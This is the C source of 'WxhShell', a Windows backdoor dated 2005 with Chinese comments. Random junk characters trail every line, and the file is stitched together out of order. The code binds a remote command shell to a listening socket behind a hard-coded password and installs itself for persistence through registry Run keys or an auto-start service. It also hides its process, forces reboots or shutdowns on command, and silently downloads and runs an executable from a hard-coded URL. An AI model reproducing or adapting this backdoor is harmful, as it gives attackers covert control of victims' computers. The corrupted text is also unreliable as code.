    if(Boot(REBOOT)) YQ37P?u@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rl3KE)<  
    else { .1|'9@]lj4  
    closesocket(wsh); ?e]4HHgU]  
    ExitThread(0); orzdq  
    } p//">l=Ps  
    break; Os@ofnC  
    } F6Q#{Ufq  
  // 关机 giaO7Qh~  
  case 'd': { P). @o.xl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )CdglPK  
    if(Boot(SHUTDOWN)) O:lD>A4{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f 21w`Uk48  
    else { 2E2J=Do  
    closesocket(wsh); 6tG9PG98q9  
    ExitThread(0); ,=oq)Fm]  
    } .#j)YG  
    break; c q3C N@  
    } Y60ld7H  
  // 获取shell A2rr>  
  case 's': { j*QY_Ny*  
    CmdShell(wsh); J4lE7aFDA~  
    closesocket(wsh); W11_MTIU  
    ExitThread(0); 2U|Nkm  
    break; &g) `  
  } m(g$T  
  // 退出 B}P,sFghw  
  case 'x': { eX_}KH-Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z/beROW)  
    CloseIt(wsh); wM!QU{Lz  
    break; A| Y\Y}  
    } YLobBtXc9  
  // 离开 Ubn5tN MK  
  case 'q': { i7fpl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b>2u>4  
    closesocket(wsh); V!},a@>p  
    WSACleanup(); 3<JZt.|  
    exit(1); "_#%W oo  
    break; -Qn:6M>w^  
        } 0^[ " &K/  
  } N.-Ryj&9  
  } T5-4Q  
L9r 3jz  
  // 提示信息 iNQk{n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' {:(4>&  
} `/+7@~[RU  
  } j*xens$)  
&|{K*pNa  
  return;  6f1;4Jfp  
} *ZaK+ B  
g_n=vO('X  
// shell模块句柄 OvK_CN{  
int CmdShell(SOCKET sock) j./bVmd.  
{ eyAg\uuih  
STARTUPINFO si; &S|laq H  
ZeroMemory(&si,sizeof(si)); JHO9d:{-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2d3wQ)2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nr(WbD[T  
PROCESS_INFORMATION ProcessInfo; 8sbS7*#  
char cmdline[]="cmd"; m,up37-{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %eT/:I  
  return 0; b<5:7C9z  
} Vn8Qsf1f  
,vN#U&RS  
// 自身启动模式 1km=9[;w'  
int StartFromService(void) %0u7pk  
{ h/_z QR-  
typedef struct !J2Lp  
{ slQKkx \Dn  
  DWORD ExitStatus; Kw?,A   
  DWORD PebBaseAddress; ]e"NJkcm  
  DWORD AffinityMask; /+IR^WG#C}  
  DWORD BasePriority; n$=n:$`q  
  ULONG UniqueProcessId; BC4u,4S  
  ULONG InheritedFromUniqueProcessId; K@>v|JD  
}   PROCESS_BASIC_INFORMATION; <#R7sco'  
/5J! s="  
PROCNTQSIP NtQueryInformationProcess; R jAeN#,?  
dR=SW0Oa{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,bH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; | c8u  
3G>E>yJ  
  HANDLE             hProcess; ?tSY=DK\n  
  PROCESS_BASIC_INFORMATION pbi; ;w6\r!O,  
,5L &$Q6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oFIs,[ Go  
  if(NULL == hInst ) return 0; 7NXT.E~2  
GzR;`,_O/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]\3dJ^q|%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iySmNI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zzW^ AvR  
~;`i&s  
  if (!NtQueryInformationProcess) return 0; BM3)`40[]  
Jhut>8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `\.n_nM  
  if(!hProcess) return 0; 0`qq"j[6a  
W&p-Z"=)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j?8E >tM  
(ZI&'"H  
  CloseHandle(hProcess); I'yhxymZ;  
74[}AA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a\MU5%}\  
if(hProcess==NULL) return 0; OVivJx  
<$=8'$T81  
HMODULE hMod; n1;V2k{uV  
char procName[255]; {< wq}~  
unsigned long cbNeeded; (PB|.`_<H  
U>I#f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '$U"RP^(  
<Jvr mm[  
  CloseHandle(hProcess); O42An$}  
RI%l& Hm  
if(strstr(procName,"services")) return 1; // 以服务启动 SZ1C38bd,.  
t)v#y!Ci"  
  return 0; // 注册表启动 {Rz`)qqE  
} Z'fy9  
zf S<X  
// 主模块 eVlI:yqppj  
int StartWxhshell(LPSTR lpCmdLine) #Gg^fm  
{ gT+/CVj R  
  SOCKET wsl; +_ G'FD  
BOOL val=TRUE; My1E@<  
  int port=0; ahf$#UQLb  
  struct sockaddr_in door; @a3<fmJ  
M,{F/Yu  
  if(wscfg.ws_autoins) Install(); :g\qj? o  
d6n6= [*  
port=atoi(lpCmdLine); lW2qVR  
odhgIl&u  
if(port<=0) port=wscfg.ws_port; sy#Gb#=#  
{&4qknPd%  
  WSADATA data; Z?@07Y[|K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q^ F-8  
ilHj%h*z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h FjW.~B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Ab<I  
  door.sin_family = AF_INET; u*U?VZ5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y{S/A*X  
  door.sin_port = htons(port); );*GOLka  
}@#e D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dy0!Zz  
closesocket(wsl); 0b|!S/*A3  
return 1; O4#zsr:"  
} 5 QT9  
8q0 .yhb  
  if(listen(wsl,2) == INVALID_SOCKET) { k+i=0 P0mf  
closesocket(wsl); -`gC?yff:  
return 1;  K A<  
} H _2hr[  
  Wxhshell(wsl); <zUmcZ  
  WSACleanup(); TRiB|b]8Q#  
+GGj*sD  
return 0; \"*l:x-u  
dEL>Uly  
} !Zwl9DX3  
jBQQ?cA  
// 以NT服务方式启动 N" 8o0>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aL`pvsnF  
{ t3WlVUtq3  
DWORD   status = 0; $ OR>JnV  
  DWORD   specificError = 0xfffffff; ] x Kmz  
YA|*$$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EHb:(|UA%8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PNG'"7O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8[Qw8z5-  
  serviceStatus.dwWin32ExitCode     = 0; xv ja  
  serviceStatus.dwServiceSpecificExitCode = 0; w_ Ls.K5"  
  serviceStatus.dwCheckPoint       = 0; nxJhK T  
  serviceStatus.dwWaitHint       = 0; v{jl)?`~w  
?L $KlF Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MaEh8*  
  if (hServiceStatusHandle==0) return; Vz,WPm$I  
WGO=@jkf  
status = GetLastError(); RHBEC@d[}  
  if (status!=NO_ERROR) FJ!>3V;}  
{ 'X?`+2wK   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o+vf  
    serviceStatus.dwCheckPoint       = 0; YnMph0\Y^  
    serviceStatus.dwWaitHint       = 0; bw[!f4~  
    serviceStatus.dwWin32ExitCode     = status; 1TVTP2&Rd  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6lhVwgy3A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [DE8s[i-  
    return; +:t1PV;l  
  } hb_Ia]b  
RWoiV10  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x O)nS _I  
  serviceStatus.dwCheckPoint       = 0; 7}#vANm  
  serviceStatus.dwWaitHint       = 0; 78Gvc~j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %iGME%oXr  
} I;`V*/s8"  
#"Zr#P{P  
// 处理NT服务事件,比如:启动、停止 l^vq'<kI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wVPq1? 9  
{ LY|h*a6Ym  
switch(fdwControl) J^W.TM&q$,  
{ 1idEm*3&(  
case SERVICE_CONTROL_STOP: :{fsfZXXr  
  serviceStatus.dwWin32ExitCode = 0; S*]IR"YL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J3'"-,Hv  
  serviceStatus.dwCheckPoint   = 0; QVP $e`4  
  serviceStatus.dwWaitHint     = 0; dfrq8n]  
  { !!QMcx_C#/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EmH{G  
  } ucn aj|  
  return; mkWIJH  
case SERVICE_CONTROL_PAUSE: XI0O^[/n{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U/ZbE?it>  
  break; D"o>\Q  
case SERVICE_CONTROL_CONTINUE: ]EK"AuEz`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '[HFIJ0K!  
  break; saV3<zgx  
case SERVICE_CONTROL_INTERROGATE: >WpPYUbH  
  break; &3JbAJ|;X  
}; A6sBObw;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tSm|U<  
} ?;*mSQA`J  
z!1j8o2  
// 标准应用程序主函数 V`%m~#Me  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,4\vi|  
{ 1S=I(n?E  
n*;I2FV]  
// 获取操作系统版本 _#L IG2d  
OsIsNt=GetOsVer(); (zhmZm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F|PYDC  
&o8\ $A  
  // 从命令行安装 & =frt3  
  if(strpbrk(lpCmdLine,"iI")) Install(); }r i"u;.R  
\Lc pl-;?  
  // 下载执行文件 7Ua Ll  
if(wscfg.ws_downexe) { !Khsx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pc$<Cv|vz  
  WinExec(wscfg.ws_filenam,SW_HIDE);  =HSE  
} LHa cHv  
A$oYw(m#  
if(!OsIsNt) { +(<CE#bb[  
// 如果时win9x,隐藏进程并且设置为注册表启动 9(iJ=ao (  
HideProc(); pymT-  
StartWxhshell(lpCmdLine); :l6sESr  
} rdC(+2+Ay  
else Q!"Li  
  if(StartFromService()) nc31X  
  // 以服务方式启动 :;JJvYIs  
  StartServiceCtrlDispatcher(DispatchTable); +28FB[W  
else <y!BO  
  // 普通方式启动 QQ?` 1W  
  StartWxhshell(lpCmdLine); 8kqxr&,[  
*</;:?  
return 0; b\^.5SEw  
} }&!rIU  
>N*QK6"=|  
4];NX  
h)YqC$A-s  
=========================================== q<7Nz] Td  
yx-{}Yj^  
LAr6J  
YY.;J3C  
2=#O4k.@  
`R; ct4-  
" {g);HnmPN  
VRxBi!d  
#include <stdio.h> j$Kubg(I5  
#include <string.h> ~gV|_G  
#include <windows.h> 2{ptV\f]D  
#include <winsock2.h> E]g KJVf9[  
#include <winsvc.h> beq)Frn^  
#include <urlmon.h> } HvVL}7  
H_$"]iQ  
#pragma comment (lib, "Ws2_32.lib") 31_5k./  
#pragma comment (lib, "urlmon.lib") r%o!P`  
# - kyZ  
#define MAX_USER   100 // 最大客户端连接数 7?kvrIuY&  
#define BUF_SOCK   200 // sock buffer s{CSU3vYmi  
#define KEY_BUFF   255 // 输入 buffer Z1>pOJm  
PvA%c<z  
#define REBOOT     0   // 重启 i %z}8GIt'  
#define SHUTDOWN   1   // 关机 AQFx>:in  
KcSvf;sx  
#define DEF_PORT   5000 // 监听端口 (K2 p3M^  
#!5GGe{I  
#define REG_LEN     16   // 注册表键长度 ."h;H^5  
#define SVC_LEN     80   // NT服务名长度 B[Tw0rQ  
0.Iw/e  
// 从dll定义API Gud!(5'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f[%iRfUFw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ya>cGaLq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 21;n0E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $ D45X<  
;id  
// wxhshell配置信息 `yxk Sb  
struct WSCFG { &QE* V  
  int ws_port;         // 监听端口 VR_1cwKBM  
  char ws_passstr[REG_LEN]; // 口令 *EDzj&  
  int ws_autoins;       // 安装标记, 1=yes 0=no @c&)K^v8  
  char ws_regname[REG_LEN]; // 注册表键名 $i3/||T,9  
  char ws_svcname[REG_LEN]; // 服务名 9J1&g(?>-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U2K>\/-~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I=b#tUBh8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 myXp]=Sb?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Maq{H`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4[5Z>2w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !>! l=Z  
Y[pGaiN:  
}; #ocT4  
pM4 j=F  
// default Wxhshell configuration 2/h Mx-  
struct WSCFG wscfg={DEF_PORT, "cti(0F-d  
    "xuhuanlingzhe", LxG :?=O.  
    1, zS?L3*u  
    "Wxhshell", yJgnw6>r2  
    "Wxhshell", zZA I"\;W  
            "WxhShell Service", I]} MK?  
    "Wrsky Windows CmdShell Service", 7-(tTBH  
    "Please Input Your Password: ", (apAUIE  
  1, uT=sDWD :  
  "http://www.wrsky.com/wxhshell.exe", &18} u~M  
  "Wxhshell.exe" PAqziq.  
    }; B]kz3FF  
m(&ZNZK  
// 消息定义模块 rb9 x||  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; txliZ|.O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TpnkJygIm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T$k) ^'  
char *msg_ws_ext="\n\rExit."; ` !rHH  
char *msg_ws_end="\n\rQuit."; c !5OK4+Z  
char *msg_ws_boot="\n\rReboot..."; z[7U>q[E  
char *msg_ws_poff="\n\rShutdown..."; 8_ju.h[  
char *msg_ws_down="\n\rSave to "; []u!piW  
,.E:mm  
char *msg_ws_err="\n\rErr!"; LtC kDnXk  
char *msg_ws_ok="\n\rOK!"; IoA"e@~t  
o fN|%g /  
char ExeFile[MAX_PATH]; ##FN0|e&  
int nUser = 0; !5[?n3  
HANDLE handles[MAX_USER]; E|ZY2&J`4  
int OsIsNt; ey y&JjVs  
m-;u]X=a  
SERVICE_STATUS       serviceStatus; B-Fu/n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;;UvK v  
lMlXK4-  
// 函数声明 w \85D|u  
int Install(void); =WN6Fj`  
int Uninstall(void); JP[BSmhAV  
int DownloadFile(char *sURL, SOCKET wsh); CjIkRa@!x  
int Boot(int flag); Prr<:q  
void HideProc(void); a-O9[?G/x  
int GetOsVer(void); \ar.(J  
int Wxhshell(SOCKET wsl); A 8&%G8d  
void TalkWithClient(void *cs); r$*k-c9Bf  
int CmdShell(SOCKET sock); F[Peil+|`  
int StartFromService(void); fv)-o&Q#  
int StartWxhshell(LPSTR lpCmdLine); B<_T"n'#b  
4R^'+hy|?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'e0qdY`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mc{1Cdj  
;g?5V  
// 数据结构和表定义 ~Fisno  
SERVICE_TABLE_ENTRY DispatchTable[] = Ei}B9 &O  
{ jz/@Zg",  
{wscfg.ws_svcname, NTServiceMain}, O^ f[ ugs  
{NULL, NULL} `qX'9e3VP+  
}; BEu9gu  
2\m+  
// 自我安装 g pO@xk$  
int Install(void) !a?o9<V  
{ 2W|j K  
  char svExeFile[MAX_PATH]; %B#Ewt@[  
  HKEY key; L(}T-.,Slr  
  strcpy(svExeFile,ExeFile); $(C71M|CT  
:#b[gWl0Ru  
// 如果是win9x系统,修改注册表设为自启动 utRvE(IbmV  
if(!OsIsNt) { E-&=I> B5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8a"aJYj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r@wWGbQ|L  
  RegCloseKey(key); w_eLas%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F*hs3b0Db  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AvhmN5O =  
  RegCloseKey(key); u},<On  
  return 0; UPLr[ >Q#  
    } wgI$'tI  
  } ~ / "aD  
} q}(UC1|  
else { TB1 1crE  
{s 4:V=J  
// 如果是NT以上系统,安装为系统服务 [|uAfp5R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u:fiil$  
if (schSCManager!=0) } fSbH  
{ e,8C} 2  
  SC_HANDLE schService = CreateService Le#bitp  
  ( j2tw`*S+  
  schSCManager, .rax`@\8  
  wscfg.ws_svcname, \'j%q\Bl;  
  wscfg.ws_svcdisp, 5AQ $xm4  
  SERVICE_ALL_ACCESS, 'J+Vw9 s7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <A+Yo3|7  
  SERVICE_AUTO_START, @l BR;B"  
  SERVICE_ERROR_NORMAL, ~9 K4]5K-  
  svExeFile, 7nfQ=?XNK  
  NULL, =7#)8p[  
  NULL, Fy^!*M-  
  NULL, T4._S:~  
  NULL, BL,YJM(y  
  NULL )%WS(S>8  
  ); Fb[<YX"  
  if (schService!=0) tNfku  
  { kXv -B-wOj  
  CloseServiceHandle(schService); 4z?6[Cg<  
  CloseServiceHandle(schSCManager); \tU91 VIj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O:#t> ;  
  strcat(svExeFile,wscfg.ws_svcname); hA)3Ah*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LV'v7 2yUH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ij/c@#q.  
  RegCloseKey(key); P}JA"V&  
  return 0; \)`\F$CF  
    } L}x"U9'C  
  } ;k!bv|>n  
  CloseServiceHandle(schSCManager); >:h 8T]F  
} rOH8W  
} I)9;4lix  
+g\u=&< 6  
return 1; e2Ba@e-  
} Z}$.Tm  
T3+hxS  
// 自我卸载 T? _$  
int Uninstall(void) /?HRq ?n  
{ lvcX}{>\  
  HKEY key; Y#NlbKkzu  
r'k-*I  
if(!OsIsNt) { !dSY?1>U<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f4]nz:2  
  RegDeleteValue(key,wscfg.ws_regname); lOcvRF  
  RegCloseKey(key);  /dBQ*f5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V#C[I~l  
  RegDeleteValue(key,wscfg.ws_regname); t9W_ [_a9  
  RegCloseKey(key); Vz51=?75  
  return 0; js'* :*7  
  } Xpjk2[,  
} 0.bmVN<  
} B1J+`R3OX  
else { x^9W<  
fHR1ku y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N] }L*o&  
if (schSCManager!=0) h`?0=:Tru  
{ x-(?^g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,$7LMTVDrE  
  if (schService!=0) e2k!5O S  
  { _sJp"4?  
  if(DeleteService(schService)!=0) { Vad(PS0  
  CloseServiceHandle(schService); ~Og'IRf  
  CloseServiceHandle(schSCManager); IiS1ubNtZ  
  return 0; :n{rVn}G  
  } @U:WWTzf  
  CloseServiceHandle(schService); sw8Ic\vT  
  } o#Rao#bD:  
  CloseServiceHandle(schSCManager); UYGl  
} 5qR76iH) /  
} ,5H$Tm,6\S  
ayHI(4!$j  
return 1; |]Pigi7y-  
} #li;L  
Q(E$;@   
// 从指定url下载文件 Su6ZO'[)  
int DownloadFile(char *sURL, SOCKET wsh) v #IC  
{ ke'p8Gz  
  HRESULT hr; VqbMFr<k  
char seps[]= "/"; 6D _4o&N  
char *token; <o^mQq&  
char *file; OA&NWAm4  
char myURL[MAX_PATH]; rXo,\zI;u^  
char myFILE[MAX_PATH]; `Nc3I\tCM  
kVe}_[{m  
strcpy(myURL,sURL); l4v)tV~  
  token=strtok(myURL,seps); W>/O9?D  
  while(token!=NULL) yV=hi?f-[V  
  { R-bICGSE  
    file=token; ^7~=+0cF]  
  token=strtok(NULL,seps); mJ !}!~:  
  } A\.k['!  
cD-\fRBGK  
GetCurrentDirectory(MAX_PATH,myFILE); Vy&F{T;$  
strcat(myFILE, "\\"); eW0:&*.vMj  
strcat(myFILE, file); 2m/1:5  
  send(wsh,myFILE,strlen(myFILE),0); &=K-~!?  
send(wsh,"...",3,0); _QkU,[E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rL&585  
  if(hr==S_OK) [&3G `8hY  
return 0; f+1)Ju~  
else DM~Q+C=Yr  
return 1; eNi.d;8F  
%ktU 51o  
} 0'c<EJ  
=HYMX "s  
// 系统电源模块 d\'M ~VQ  
int Boot(int flag) rS{Rzs^@  
{ nRb#M  
  HANDLE hToken; 6pxj9@X+  
  TOKEN_PRIVILEGES tkp; S!up2OseW  
`"Tx%>E(U  
  if(OsIsNt) { 3,S5>~R=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `{ou4H\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HaJD2wvr  
    tkp.PrivilegeCount = 1; !>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %fK"g2:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DyYl97+Z?  
if(flag==REBOOT) { J:5%ff~r\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F#O.i,  
  return 0; ^L*:0P~  
} kG@1jMPtQ  
else { !@%m3)T8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e J2wK3R  
  return 0; )TVyRYZ1  
} {6a";Xj\e  
  } z^ KrR  
  else { ?N&"WL^|  
if(flag==REBOOT) { //_v"dqP{)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [{f{E  
  return 0; &z&Jl#t-)  
} y85GKysT  
else { &*T57tE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) By:A9 s  
  return 0; 8&3+=<U  
} CIYTs,u#  
} kplyZ  
y =G  
return 1; |!flR? OU  
} .lOEQLt  
mY |$=n5X  
// win9x进程隐藏模块 ~,m6g&>R  
void HideProc(void) q@r8V&-<  
{ m:ITyQ+  
z*I=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r#d~($[93  
  if ( hKernel != NULL ) (LkGBnXE  
  { rF>:pS,`&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C4#'`8E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H [R|U   
    FreeLibrary(hKernel); ^Me__Y  
  } ,d&~#W]  
RVlC8uJ;P  
return; MJ4+|riB  
} oypX.nye_  
ft?J|AG  
// 获取操作系统版本 pV<18CaJ  
int GetOsVer(void) !pQQkZol  
{ ppmDmi~X  
  OSVERSIONINFO winfo; QVQe9{ "0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ym2![FC1  
  GetVersionEx(&winfo); 3' mQ=tKa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YDz:;Sp\  
  return 1; sj0Hv d9  
  else AL3zE=BL  
  return 0; {[NBTT9&  
} pR; AqDQ  
s@K|zOx  
// 客户端句柄模块 ko=vK%E[  
int Wxhshell(SOCKET wsl) gM^ Hs7o,  
{ Aum&U){yY  
  SOCKET wsh; Kw"7M~  
  struct sockaddr_in client; o3qBRT0[R  
  DWORD myID; M,3sK!`>  
vqJiMa j@Z  
  while(nUser<MAX_USER) 6- s/\  
{ !n@Yg2w  
  int nSize=sizeof(client); Ro$l/lXl8t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f*aYS  
  if(wsh==INVALID_SOCKET) return 1; b: +.Y$%F-  
"  q0lh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j2k,)MHu!x  
if(handles[nUser]==0) QUH USDT  
  closesocket(wsh); <t.yn\G-w  
else m!tB;:6  
  nUser++; Go= MG:`  
  } !J3g,p*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sJw#^l  
CM!bD\5  
  return 0; ~%bz2Pd%  
} gY=nU,;  
>E^sZmY[f-  
// 关闭 socket K.JKE"j)d  
void CloseIt(SOCKET wsh) %f*8JUE16  
{ [yW0U:m  
closesocket(wsh); xbvZ7g^  
nUser--; ?FA} ;?v  
ExitThread(0); #JWW ;M6F  
} BwEO2a{  
~]O~a}]g(  
// 客户端请求句柄 Cevl#c5p>  
void TalkWithClient(void *cs) g-bHf]'  
{ F $^RM3  
es6!p 7p?  
  SOCKET wsh=(SOCKET)cs; }[ld=9p(  
  char pwd[SVC_LEN]; {M )Y6\v  
  char cmd[KEY_BUFF]; sV%<U-X  
char chr[1]; 7:)=  
int i,j; u$X [=  
3ktjMVy\  
  while (nUser < MAX_USER) { &&nvv&a  
hV)D,oN3  
if(wscfg.ws_passstr) { }N&}6U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H"=%|/1M0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p$`71w)'[  
  //ZeroMemory(pwd,KEY_BUFF); [sy~i{Bm  
      i=0; 0L S,(v4  
  while(i<SVC_LEN) { 3-`IMN n!  
; {iX_%  
  // 设置超时 y U =) g  
  fd_set FdRead; TMpV .iH  
  struct timeval TimeOut; 1I{vB eMj  
  FD_ZERO(&FdRead); |Rd?s0u  
  FD_SET(wsh,&FdRead); -r@fLkwg  
  TimeOut.tv_sec=8; sn+g#v9e  
  TimeOut.tv_usec=0; Pv|g.hH9m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &7VN?ox1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |A0BYzlVc  
F>d B@V-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | (JxtQqQg  
  pwd=chr[0]; =8?y$WE  
  if(chr[0]==0xd || chr[0]==0xa) { ?\"GT]5D  
  pwd=0; 3X=9$xw_  
  break; K`{P/w  
  } PzMJ^H{  
  i++; m(i84~  
    } o^&u?F9  
-GCC  
  // 如果是非法用户,关闭 socket MxQhkY-=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ye% e!  
} ikX"f?Q;S2  
BiT #bg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @.0>gmY;:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Fku~'30  
Z-z^0QO  
while(1) { (~q.YJ'  
r'/&{?Je/  
  ZeroMemory(cmd,KEY_BUFF); AJ}QS?p8s  
Yd'Fhvo8  
      // 自动支持客户端 telnet标准   j)xRzImu  
  j=0; lqe|1vN  
  while(j<KEY_BUFF) { Y3=5J\d!a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n("Xa#mY[  
  cmd[j]=chr[0]; lR5[UKr  
  if(chr[0]==0xa || chr[0]==0xd) { X6)%2TwO  
  cmd[j]=0; U6cpj  
  break; 1 j"G~TM  
  } P{fT5K|  
  j++; ~" |MwR!0  
    } `?E|frz[  
`?f6~$1  
  // 下载文件 +O"!*  
  if(strstr(cmd,"http://")) { Zgy~Y0Di  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _N)/X|=~s  
